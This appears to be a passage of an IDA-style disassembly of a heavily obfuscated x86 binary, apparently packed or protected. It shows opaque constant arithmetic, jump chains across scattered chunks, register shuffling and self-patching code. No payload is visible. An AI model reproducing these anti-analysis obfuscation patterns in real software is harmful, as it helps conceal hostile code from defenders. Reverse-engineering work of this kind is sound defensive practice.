; FUNCTION CHUNK AT 004435AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004443F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445849 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445B6B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445C43 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00447C9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447DA3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00448A82 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00448D4D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00449554 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00449601 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00449F1F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044ACF3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AD86 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044BE04 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044C7F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C86D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044CD56 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CF55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CFF0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D4FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E117 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044E36D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044EF8A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044FAEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FD00 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451C07 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 004523E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004532C8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00454499 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454655 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00454733 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004548F0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00454CED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004555C1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004555DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455FAC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0045651C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00456ACA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456D33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457418 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00457D60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045911F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0045915E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00459FC8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0045A547 SIZE 0000001A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, ebp

loc_44089E:				; CODE XREF: dviuq5id:0044CA49j
		add	eax, 72D47B0Dh
		mov	dword ptr [eax], 646E6957h
		jmp	loc_4423EC
sub_440898	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4408AF	proc near		; DATA XREF: dviuq5id:00446B49o
		lea	eax, nullsub_483
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_483
sub_4408AF	endp

; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_4571A7
		jmp	loc_440F5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A765

loc_4408CC:				; CODE XREF: sub_44A765+Aj
		push	0E5FE9D45h
		xchg	esi, [esp+4+var_4]

loc_4408D4:				; CODE XREF: dviuq5id:loc_450881j
		mov	ecx, esi
		pop	esi
		jmp	loc_45976C
; END OF FUNCTION CHUNK	FOR sub_44A765
; ---------------------------------------------------------------------------

loc_4408DC:				; DATA XREF: sub_4559CE:loc_4526DCo
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		add	eax, ds:4000F3h
		jmp	loc_44CD23

; =============== S U B	R O U T	I N E =======================================



sub_4408ED	proc near		; CODE XREF: dviuq5id:00450C0Bj
					; dviuq5id:00451EF9j ...

; FUNCTION CHUNK AT 0043AF18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448019 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C068 SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[esi], eax
		pop	esi
		lea	eax, sub_43FBEA
		jmp	loc_448019
sub_4408ED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4408FF	proc near		; CODE XREF: dviuq5id:0045087Cj
					; dviuq5id:004555A0p

; FUNCTION CHUNK AT 004399AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AE19 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004444F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445CFE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004460EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BA19 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044D84A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452687 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045801F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045A337 SIZE 0000000C BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, 6DAF495Ah
		add	eax, ebp
		add	eax, 4E818D8Dh
		mov	eax, [eax]
		cmp	eax, ds:dword_44899C
		jz	loc_44F467
		jmp	loc_4399AA
sub_4408FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447EE3

loc_440924:				; CODE XREF: sub_447EE3:loc_447ABCj
		jnz	loc_44611E

loc_44092A:				; CODE XREF: dviuq5id:00450481j
		jmp	loc_449B11
; END OF FUNCTION CHUNK	FOR sub_447EE3
; ---------------------------------------------------------------------------
		shr	eax, 1Ah
		jno	loc_4478E0
		jmp	loc_44611E

; =============== S U B	R O U T	I N E =======================================



sub_44093D	proc near		; CODE XREF: dviuq5id:00456406j
					; sub_459FDE+10p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		mov	[ecx+0B8h], eax
		xchg	ebx, [esp-4+arg_0]
		mov	ecx, ebx
		pop	ebx
		xor	eax, eax
		jmp	nullsub_464
sub_44093D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_440954:				; CODE XREF: dviuq5id:loc_45A47Cj
					; dviuq5id:0045A498j
		sub	esi, 73877B30h
		add	esi, 0E0A26AFFh

loc_440960:				; DATA XREF: sub_43C4B5+17144o
		xchg	esi, [esp]
		jmp	sub_458192
; ---------------------------------------------------------------------------
		jmp	loc_4044D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_44096D:				; CODE XREF: sub_4509F7+Cj
		jmp	loc_449FEB
; END OF FUNCTION CHUNK	FOR sub_4509F7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_452BEE
; ---------------------------------------------------------------------------

loc_440978:				; CODE XREF: dviuq5id:0044E3A9j
		jno	loc_44698A

; =============== S U B	R O U T	I N E =======================================



sub_44097E	proc near		; CODE XREF: sub_443ECE-134Ap

; FUNCTION CHUNK AT 00445410 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AD2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F647 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00453202 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455057 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, 3FC0D22Bh
		jmp	loc_44AD2D
sub_44097E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_44098D:				; CODE XREF: sub_446B53:loc_449139j
		push	esi
		mov	esi, ebx
		xchg	esi, [esp+4+var_4]
		push	0DC8144D1h
		pop	ebx
		and	ebx, 0CFE80420h
		sub	ebx, 0C5C9E422h
		add	ebx, 0F98EF55Bh
		jmp	loc_439563
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_4409B0:				; CODE XREF: sub_44B70C:loc_43A121j
		pop	ebx
		and	edx, 0BDE99983h
		rol	esi, 3
		jmp	loc_445ED4
; END OF FUNCTION CHUNK	FOR sub_44B70C
; ---------------------------------------------------------------------------

loc_4409BF:				; CODE XREF: dviuq5id:loc_441803j
		jz	loc_43E07B
		jmp	loc_4477C1
; ---------------------------------------------------------------------------

loc_4409CA:				; CODE XREF: dviuq5id:004521EFj
		cmp	edx, 80406229h
		jmp	loc_455E96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_4409D5:				; CODE XREF: sub_43D393:loc_448295j
		add	eax, [ebp-4]
		xor	edx, edx
		push	edi
		mov	edi, edx
		jmp	loc_451D48
; END OF FUNCTION CHUNK	FOR sub_43D393
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396BB

loc_4409E2:				; CODE XREF: sub_4396BB+1B9F0j
		jz	loc_4417C2
		jmp	loc_4581AC
; END OF FUNCTION CHUNK	FOR sub_4396BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_4409ED:				; CODE XREF: sub_44B99E:loc_44E759j
		push	0C5D2EF50h
		pop	edx
		or	edx, 0EF4D49E3h
		add	edx, 0C3F1FCDBh
		or	edx, 94198258h
		xor	edx, 0EB4A4EBCh
		add	edx, ebp
		push	edi
		jmp	loc_441415
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_440A13:				; CODE XREF: sub_43ED10:loc_446066j
		mov	ebp, 261A720h
		jmp	sub_43D73F
; END OF FUNCTION CHUNK	FOR sub_43ED10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441903

loc_440A1D:				; CODE XREF: sub_441903-241Dj
		mov	edx, 6A74FD15h
		call	sub_43D24F

loc_440A27:				; CODE XREF: dviuq5id:00451407j
		jmp	loc_44A3D6
; END OF FUNCTION CHUNK	FOR sub_441903
; ---------------------------------------------------------------------------

loc_440A2C:				; CODE XREF: dviuq5id:004407E8j
		jmp	loc_450193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_440A31:				; CODE XREF: sub_44A15A-CE6Fj
		xor	eax, 0C0466FE6h
		push	edi
		push	6CDE5DDBh
		pop	edi
		jmp	loc_442667
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------

loc_440A43:				; CODE XREF: dviuq5id:0044AC5Bj
		cmp	ecx, eax
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		push	0E187F40Bh
		xchg	edi, [esp]
		mov	edx, edi
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_440A55:				; CODE XREF: sub_447A8A:loc_4564B4j
		pop	edi
		jmp	loc_44CA17
; END OF FUNCTION CHUNK	FOR sub_447A8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_440A5B:				; CODE XREF: sub_452D9B-FB16j
		pop	esi
		mov	eax, [ebp-4]
		mov	al, [eax]
		jnb	loc_4397F2

loc_440A67:				; CODE XREF: sub_4427AE:loc_448769j
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_45114C
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B02F

loc_440A71:				; CODE XREF: sub_44B02F+7j
		dec	dword ptr [ebp-1Ch]
		jnz	loc_44A7F6

loc_440A7A:				; CODE XREF: dviuq5id:loc_445515j
		jmp	loc_44DBF7
; END OF FUNCTION CHUNK	FOR sub_44B02F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440A7F	proc near		; CODE XREF: sub_43C3D8-22E4p
					; sub_43B89D+4p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044A750 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BCAA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004583C8 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0045A659 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_4], eax

loc_440A88:				; CODE XREF: dviuq5id:004414A0j
		mov	eax, [ebp+var_4]
		jmp	loc_4583C8
sub_440A7F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_440A90:				; CODE XREF: dviuq5id:00454FA0j
		and	ecx, eax
		jmp	loc_4438B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_440A97:				; CODE XREF: sub_43FAE1-4429j
					; sub_43FAE1:loc_4444A0j
		call	sub_456F43
		push	offset loc_44E561
		jmp	loc_452AB6
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_440AA6:				; CODE XREF: sub_439A5E:loc_452F6Fj
		mov	ebp, ebx
		test	ebx, 8790CDB5h
		jmp	loc_43FF98
; END OF FUNCTION CHUNK	FOR sub_439A5E

; =============== S U B	R O U T	I N E =======================================



sub_440AB3	proc near		; CODE XREF: dviuq5id:00439EC9j
					; sub_43FDFB:loc_44A1EBj ...

; FUNCTION CHUNK AT 0044288B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044FDC9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00453C4A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455A55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458049 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al
		call	sub_45A1A8
		jmp	loc_453C4A
sub_440AB3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_440ACE	proc near		; DATA XREF: sub_43C5CC:loc_44F955o

; FUNCTION CHUNK AT 0043C3B7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045266C SIZE 00000005 BYTES

		mov	eax, [ebp-4]
		mov	al, [eax]
		mov	[ebp-9], al
		mov	al, [ebp-0Ah]
		jmp	loc_45266C
sub_440ACE	endp

; ---------------------------------------------------------------------------

locret_440ADE:				; CODE XREF: dviuq5id:loc_44C8B8j
		retn
; ---------------------------------------------------------------------------

loc_440ADF:				; DATA XREF: sub_44514D-45C0o
		xchg	edx, [esp]
		lea	eax, dword_44F9B8
		push	eax
		push	eax
		mov	edx, eax
		call	sub_45A04B
		call	sub_441C54
		jmp	loc_443819
; ---------------------------------------------------------------------------

loc_440AFB:				; CODE XREF: dviuq5id:004483E7j
		push	1D12AA62h
		jmp	loc_43B6FF
; ---------------------------------------------------------------------------

loc_440B05:				; CODE XREF: dviuq5id:loc_4532C7j
					; DATA XREF: sub_4532B8+5o
		xchg	esi, [esp]
		mov	ebx, esi
		pop	esi
		add	ebx, ds:4000F8h
		rol	ebx, 12h
		test	ebx, 8
		jmp	loc_450A2A
; ---------------------------------------------------------------------------

loc_440B1F:				; CODE XREF: dviuq5id:00443EB4j
		xchg	eax, [esp]
		mov	ebp, esp
		push	ebx
		push	eax
		push	ecx
		jmp	loc_43D58A
; ---------------------------------------------------------------------------
		adc	esi, 319D4AD5h
		jmp	loc_4597EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_440B37:				; CODE XREF: sub_43C710:loc_45818Dj
		jp	loc_4546EF
		xchg	edi, [ecx]
		jmp	loc_4430A1
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_440B44:				; CODE XREF: sub_43CC42+125CBj
		jnp	loc_44CB03
		sub	esi, 8590A3DBh
		jmp	loc_44E447
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_440B55:				; CODE XREF: sub_454094:loc_445346j
		mov	esi, ebx
		pop	ebx
		rol	esi, 9
		add	esi, 0EAA5ECB7h

loc_440B61:				; CODE XREF: dviuq5id:0044BE24j
		xchg	esi, [esp+4+var_4]
		jmp	sub_455600
; END OF FUNCTION CHUNK	FOR sub_454094

; =============== S U B	R O U T	I N E =======================================



sub_440B69	proc near		; CODE XREF: sub_44E3BA+3j

; FUNCTION CHUNK AT 0044904E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00454CCC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00456A3E SIZE 00000005 BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		call	nullsub_21

loc_440B74:				; CODE XREF: sub_44EAC4:loc_43A9EFj
		mov	eax, [ebp-4]
		call	sub_44FE62
		jmp	loc_456A3E
sub_440B69	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_440B81:				; CODE XREF: sub_44514D-9DD6j
		sbb	eax, 0F0376EA8h
		xchg	edi, ecx
		popf

loc_440B8A:				; CODE XREF: sub_44514D:loc_4558C3j
		push	edx
		mov	edx, eax
		push	offset loc_440ADF
		jmp	loc_45A1A3
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_440B97:				; CODE XREF: sub_44ABE0+4CA5j
		jl	loc_458922
		jnp	loc_43B09F
		mov	edi, 0AA2B89F0h
		jmp	loc_455BC0
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------

locret_440BAD:				; CODE XREF: dviuq5id:loc_43DCF3j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_440BAE:				; CODE XREF: sub_44952D+6F11j
		jmp	loc_4406DE
; END OF FUNCTION CHUNK	FOR sub_44952D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF31

loc_440BB3:				; CODE XREF: sub_43CF31+8j
		jmp	loc_451526
; END OF FUNCTION CHUNK	FOR sub_43CF31

; =============== S U B	R O U T	I N E =======================================



sub_440BB8	proc near		; DATA XREF: dviuq5id:0043BD98o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00441298 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044361F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044F831 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00454534 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458ACF SIZE 00000008 BYTES

		jns	loc_458ACF
		mov	eax, [esp+0]
		push	edx
		call	sub_454AAA
		jmp	loc_454534
sub_440BB8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_359. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_440BCD:				; CODE XREF: sub_448FC7-F18j
		jmp	loc_4486C3
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_440BD2:				; CODE XREF: sub_440C61+Ej
		jmp	loc_457CAB
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------

loc_440BD7:				; CODE XREF: dviuq5id:loc_44DE68j
		and	edx, 8052F039h
		sub	edx, 0B4609929h
		xor	edx, 0B6549BC8h
		push	edx
		pushf
		jmp	loc_452842
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_440BF0:				; CODE XREF: sub_443AC1+B0Bj
		jz	loc_456153
		jmp	loc_4593F3
; END OF FUNCTION CHUNK	FOR sub_443AC1

; =============== S U B	R O U T	I N E =======================================



sub_440BFB	proc near		; DATA XREF: sub_4424D8+D19Ao

; FUNCTION CHUNK AT 0043DBC2 SIZE 0000001D BYTES

		xchg	edx, [esp+0]
		push	79785BE8h
		pop	ecx
		and	ecx, 18ADCEA8h
		jmp	loc_43DBC2
sub_440BFB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_440C0F:				; CODE XREF: sub_43938B:loc_43EE0Cj
		jle	loc_43F144
		jmp	loc_44DF52
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
		mov	edx, 0A70158B4h
		call	sub_449EB7
		push	eax
		ror	eax, 16h
		push	offset sub_456D27
		jmp	loc_43E87F
; ---------------------------------------------------------------------------

loc_440C32:				; CODE XREF: dviuq5id:00452428j
		jz	loc_43C2A3
		jmp	loc_451419
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_440C3D:				; CODE XREF: sub_43D28E:loc_452FC9j
		jnz	loc_43D1E8
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_441C1F
		jmp	loc_453E7A
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------

loc_440C57:				; CODE XREF: dviuq5id:loc_44E159j
		push	offset loc_43C957
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_440C5C:				; CODE XREF: sub_43EB11:loc_448CF2j
		jmp	loc_44A2A3
; END OF FUNCTION CHUNK	FOR sub_43EB11

; =============== S U B	R O U T	I N E =======================================



sub_440C61	proc near		; CODE XREF: sub_44BB42-126FBp
					; dviuq5id:0043BA89j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439C6D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043A328 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AA6C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043CEB3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043E657 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440BD2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444B11 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00446BE9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004476E6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00447C7C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00448646 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449134 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AC3F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044DDDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450925 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457AA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457CAB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004585D1 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_44CA9A
		mov	eax, 11C9A2C5h
		jmp	loc_440BD2
sub_440C61	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_440C74:				; CODE XREF: sub_450905+8j
		mov	edi, esi
		xchg	edi, [esp-4+arg_0]
		push	eax
		pop	esi
		xchg	esi, [esp-4+arg_0]
		call	sub_43A101
		jmp	loc_44E85B
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------
		sub	ebx, 0EEBA7EE7h
		jmp	sub_4434D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_440C93:				; CODE XREF: sub_44E2D4:loc_439D23j
		jge	loc_4547B8

loc_440C99:				; CODE XREF: sub_43C162+124B2j
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_44E2D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44010B

loc_440C9E:				; CODE XREF: sub_44010B+E8Ej
		jmp	sub_43938B
; END OF FUNCTION CHUNK	FOR sub_44010B
; ---------------------------------------------------------------------------
		jz	loc_44D216
		jmp	loc_4547B0
; ---------------------------------------------------------------------------
		shl	edi, 1Eh
		test	ebx, ecx
		jmp	loc_445138

; =============== S U B	R O U T	I N E =======================================



sub_440CB8	proc near		; CODE XREF: dviuq5id:0044076Dj
					; sub_44B99E:loc_444B59p

; FUNCTION CHUNK AT 0043D5B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D11D SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0FBC10A5Dh
		pop	eax
		or	eax, 8D1FD86h
		jmp	loc_43D5B9
sub_440CB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_440CCD:				; CODE XREF: sub_439A5E:loc_43A2A7j
		sbb	esi, ebp
		sbb	edi, ecx
		jmp	loc_45078C
; END OF FUNCTION CHUNK	FOR sub_439A5E

; =============== S U B	R O U T	I N E =======================================



sub_440CD6	proc near		; CODE XREF: sub_444A06:loc_43FB12j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004434B9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00449906 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		push	79528E8Ah
		pop	edx
		and	edx, 6596C8Fh

loc_440CE8:				; CODE XREF: sub_446181+AF38j
		jmp	loc_449906
sub_440CD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_440CED	proc near		; DATA XREF: sub_4560AC-1069Ao

var_4		= dword	ptr -4

		mov	eax, [esp+0]
		push	edi
		push	edx
		pop	edi
		xchg	edi, [esp+4+var_4]
		call	sub_44FFA5
sub_440CED	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439C09

loc_440CFB:				; CODE XREF: sub_439C09:loc_44A4B5j
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_440CFD:				; CODE XREF: dviuq5id:0044B218j
		jmp	loc_455EDB
; ---------------------------------------------------------------------------

loc_440D02:				; CODE XREF: dviuq5id:0044B7B0j
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		jmp	loc_44F046

; =============== S U B	R O U T	I N E =======================================



sub_440D0D	proc near		; CODE XREF: sub_44297E:loc_4417B0p
					; dviuq5id:loc_44FFC1p	...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043F830 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004493E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AB1F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044CDA4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044E0E6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00451B03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045330C SIZE 0000000B BYTES

		jno	sub_44CDB6
		push	edx

loc_440D14:				; CODE XREF: sub_454142:loc_451262j
		sbb	edx, 0FCD54B56h
		jmp	loc_44AB1F
sub_440D0D	endp

; ---------------------------------------------------------------------------
		mov	[esi], edi
		jmp	sub_4530E7
; ---------------------------------------------------------------------------

loc_440D26:				; CODE XREF: dviuq5id:00454494j
		mov	[ebx], edi
		mov	ecx, edi
		jnz	loc_458266
; START	OF FUNCTION CHUNK FOR sub_446465

loc_440D30:				; CODE XREF: sub_446465:loc_45447Aj
		add	edi, 0A3CB395h
		jmp	loc_449AF0
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_440D3B:				; CODE XREF: sub_459983:loc_455439j
		jz	loc_4423B4
		jmp	loc_439E7B
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_440D46:				; CODE XREF: sub_43938B+1AAEAj
		pop	edi
		add	edi, 82B5AFFFh
		sub	edi, 0FB720740h
		rol	edi, 0Fh
		add	edi, 0BAEAC12Eh
		popf
		call	sub_4559CE
; END OF FUNCTION CHUNK	FOR sub_43938B
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_440D62:				; CODE XREF: sub_43E421+8676j
		jmp	loc_43CCDF
; END OF FUNCTION CHUNK	FOR sub_43E421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BC7B

loc_440D67:				; CODE XREF: sub_43BC7B+16FEj
		jmp	nullsub_53
; END OF FUNCTION CHUNK	FOR sub_43BC7B

; =============== S U B	R O U T	I N E =======================================



sub_440D6C	proc near		; DATA XREF: sub_444351+8o
		pop	esi

loc_440D6D:				; CODE XREF: dviuq5id:loc_44D60Ej
		mov	eax, [ebp-4]
		pop	ecx
		pop	ebp
		retn	4
sub_440D6C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448213

loc_440D75:				; CODE XREF: sub_448213+B30Bj
		jmp	sub_45352C
; END OF FUNCTION CHUNK	FOR sub_448213

